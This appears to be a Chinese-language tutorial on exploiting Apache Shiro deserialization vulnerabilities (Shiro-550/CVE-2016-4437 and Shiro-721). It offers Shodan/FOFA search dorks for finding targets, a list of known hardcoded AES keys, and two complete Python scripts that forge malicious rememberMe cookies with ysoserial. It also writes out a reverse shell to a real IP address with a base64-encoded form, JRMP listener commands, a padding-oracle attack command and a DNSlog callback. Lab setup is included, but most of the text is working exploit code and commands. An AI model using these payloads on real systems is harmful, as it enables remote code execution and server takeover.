Java安全框架Shiro漏洞利用

Shiro简介

Apache Shiro 是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、 加密和会话管理,可用于保护任何应用程序的安全。

Shiro提供了应用程序安全性API来执行以下方面:

1)身份验证:证明用户身份,通常称为用户”登录”;
2)授权:访问控制;
3)密码术:保护或隐藏数据以防窥视;
4)会话管理:每个用户的时间敏感状态。

上述四个方面也被称为应用程序安全性的四个基石。

漏洞发现

Shiro组件识别

在访问及登录时抓包,如果响应头set-cookie中显示rememberMe=deleteMe,说明使用了Shiro组件

image-20230419152154653

Shiro漏洞搜索

通过 fofa、zoomeye、shodan 这类平台搜索相关特征来发现目标。

例如 fofa 的搜索关键词:

1
2
header="rememberme=deleteMe" 
header="shiroCookie"

Shiro漏洞检测工具

https://github.com/fupinglee/ShiroScan

https://github.com/sv3nbeast/ShiroScan

https://github.com/insightglacier/Shiro_exploit

https://github.com/Ares-X/shiro-exploit

Shiro历史漏洞利用

Shiro-550

CVE-2016-4437 Shiro rememberMe 反序列化远程代码执行漏洞

漏洞原因

Apache Shiro 框架提供了记住密码的功能( RememberMe ),关闭浏览器再次访问时无需再登录即可访问。用户登录成功后用户信息会经过加密编码后存储在 cookie 中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。

shiro 默认使用了 CookieRememberMeManager ,其处理cookie的流程是:

获取 rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为 cookie 的 rememberMe 字段发送。 Shiro 将 rememberMe 进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。

只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

常见key:

1
2
3
4
5
6
7
8
9
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

Payload 产生的过程:

命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

利用位置

任意http请求中 cookie 处 rememberMe 参数

特征判断

返回包中包含 rememberMe=deleteMe 字段,认证失败时会设置 deleteMe 的 cookie

1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; 

影响版本

1
Apache Shiro <= 1.2.4(需要获取AES秘钥)

利用组件

org.apache.commons 中的 commons-collections4 (理论上 commons-collections2 也有)

Payload构造

命令 => 序列化 => AES 加密 => base64 编码 => RememberMe Cookie 值

  1. 手动编译ysoserial的jar文件:
1
2
3
git clone https://github.com/frohoff/ysoserial.git 
cd ysoserial
mvn package -DskipTests

或者下载编译好的 ysoserial.jar:

1
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

ysoserial.jar 文件和脚本处于同一目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# shiro-exp.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

执行脚本:

1
python3 shiro_exploit.py 47.236.16.67:9998

输出如下内容:

1
rememberMe=ztSAC8/iQv6kf6YzynJbEtzCkWIUw5rYQZX2YW2+ThT4pMxJBwKw3cE+A+suqeo6R+Tll91SBlIBkL7d3DWEE+TT5/vFZATWTZBKJe613wBW2auOKJLBIme1Tp8ZtSbUoKSEAlST/wTOp+xd+3Qm7llQB9Bcj2Dd83RATTD+HT+rdnTu32+w7xnv6lYepukG2JpvHW2qXOJOYThthF5cPrYEfxuBuYrC02J4w88VC+gQBL1e1+d3et58psQo15+eVmjnvs4HhmiM83k8N9Zge1rWv/I8wlKHfDMA6ZqP6mkQ3J1XGeepK5mJNoVM0uUIyBcTsgnlKZjX9kmU7qvdZBEQ6M1Pq+iMnXErzziw80TwX9kgFG693xIZg1KM6yzQ5SUBz/MfQin38ozCwgFPqQ==

运行时出现 No module named ‘Crypto’

安装模块

1
2
3
4
apt install python-dev
pip install crypto -i https://mirrors.ustc.edu.cn/pypi/web/simple
pip install pycrypto -i https://mirrors.ustc.edu.cn/pypi/web/simple
pip install pycryptodome -i https://mirrors.ustc.edu.cn/pypi/web/simple

如果还是不行,就进入python安装目录下的\Lib\site-packages,尝试将crypto文件夹的名字改成Crypto。

环境搭建

  1. docker 搭建环境
1
2
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 7777:8080 medicean/vulapps:s_shiro_1
  1. Shiro 利用 maven 编译有很多坑点,鉴于过于痛苦,我列出主要坑点
  • 机器需要安装mvn、svn命令
  • JDK必须为1.6
  • maven版本最好为3.1.1

解决上面的环境需求,基本上不会编译失败

利用步骤

  1. 检测是否存在默认的 key 及漏洞

这里我们使用 Shiro_exploit 脚本,获取默认 key

Github项目地址:https://github.com/insightglacier/Shiro_exploit

1
2
git clone https://github.com/insightglacier/Shiro_exploit.git
cd Shiro_exploit

脚本通过网络收集到的22个key,利用ysoserial工具中的URLDNS这个Gadget,并结合dnslog平台实现漏洞检测。漏洞利用则可以选择Gadget和参数,增强灵活性。

1
python3 shiro_exploit.py -u http://target.yijinglab.com:56306/

image-20240310151033548

*key值为:kPH+bIxk5D2deZiIxcaaaA==

  1. 利用反序列化工具生成payload
1
bash -i >& /dev/tcp/47.236.16.67/9090 0>&1

编码网站:https://ares-x.com/tools/runtime-exec/

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}

使用ysoserial反序列化工具监听10998端口

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"

执行 shiro-exp.py 脚本构造生成 POC

image-20230421102813594

1
python3 shiro-exe.py 47.236.16.67:10998
1
rememberMe=7MSjyFT4QH69pXQ5J8M5hFtAUkd+tGugT4bNk4S2Iug4J55cz4DsijNRF0MXJa3sWnypdcF4EggZNP8aAwJvcFiJyoNUSnB7SUxkBP4BG882/BWdlTxcJulA3IxVYOkgElFRFDVoiiixFA0LoJfdD8GxYXbV9qVP8J4i/MaX5tqh3wX8zRpUafoWfBNq3SM1U6RRcUrPrGFgfxd21639d+qGfLsLRGnUXXJffBTUKXdBOoHdJpJ0KeYSeWeVfrAPUu9eLAvrphAc62PNcp0Gu5Pkh1xkgXk1v0Zvee89AgrF8OdLzuVJS18eWvEC2RwZdh5LgeqrZ+7kWEAiUGe/LeLzkDnMYM95B5aEUOd6BXtxOLgKvT2bhC7Hwo8qwYehJ5SG8ERPxxD9yWZ3UXTDaw==

Burpsuite 抓取 shiro 任意用户登录之后的任意请求,把构造的 cookie 值替换掉请求中的cookie 值,发包成功后即成功执行反弹shell命令,并成功得到反弹的shell:

image-20240310152712213

Shiro-721

Shiro rememberMe 反序列化远程代码执行漏洞

漏洞原因

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

https://www.jianshu.com/p/833582b2f560

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的 rememberMe cookie ,并记录下这个rememberMe的值

环境搭建

1
2
3
4
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 18081:8080 -dit shiro-721

漏洞利用

https://github.com/inspiringz/Shiro-721

  1. 登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me)

image-20230421105609027

认证失败时会设置deleteMe的cookie

image-20230421105712156

认证成功则不会设置deleteMe的cookie

image-20230421105818976

根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影 响反序列化结果),此时会有两中情况:

  • 构造的数据不能通过字符填充验证,返回 deleteme ;
  • 构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回 deleteme的cookie
  1. 使用Java反序列化工具 ysoserial 生成 Payload
1
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" >  payload.class
  1. 通过 Padding Oracle Attack 生成恶意 Rememberme cookie

注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie ,生 成成功后将自动停止运行

使用刚才burp获取到的deleteMe cookie值作为prefix,加载Payload,进行Padding Oracle攻击

脚本链接:https://github.com/wuppp/shiro_rce_exp

1
2
3
4
python shiro_exp.py
Usage: shiro_exp.py <url> <somecookie value> <payload>

python2 shiro_exp.py http://47.104.255.11:18081/ PHh1FbfiWuR/CRYs2Os5fmYJbPtYD4V55kWHl41dNdfFSzSgjU0b+Z8DHtem51EHoW6bXJvMDkB7mZYJqa9Mc3EP16OnF4Dt/IuGbrxjKf0OgOO/5Y+jyFJi1h2clJz+myysxb8WTc+xruezMJya8ykcePax3H8GOLJMS0ACO0r/g1sr0x0MYynxbCUMr3fiK8c3OWlsHSyTx0QERj01dzTV9MGW5+J8SGsItQPCpr0vfya/n3TC4NhVwbEj1uTWRj88whIL6dJODo1FLGzI+tR2wMXGvtGTVxSJJjAMvMsJpbEEsO0Vl1sdsIsllA8EWqCSbHuX/zFpCHkfdl7/CSE9OCy4gu68p6W2kTMTcr2OqMrdJN/dUbQmriznoTuVDf1OiacWeP3J/XlOA35CvrrZMsSQF7G9lial9Zqenc1mz+UCUcmk5cwkVh9qTUehpKaVwGO9i34ySLlVjrRTxg4mfa1ZwTKkKs39XZL4MwSHYh5/nr/jvqLKbHwkkuLh payload.class
  1. 使用构造的 Rememberme cookie 认证进行反序列化攻击

Refer

https://github.com/jas502n/SHIRO-550
https://github.com/inspiringz/Shiro-721
https://www.cnblogs.com/paperpen/p/11312671.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# shiro_poc.py
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
1
python3 shiro_poc.py "ping fkl2af.ceye.io"

然后便会在脚本所在目录下生成文件payload.cookie

把此文件内容替换请求包中的cookie值。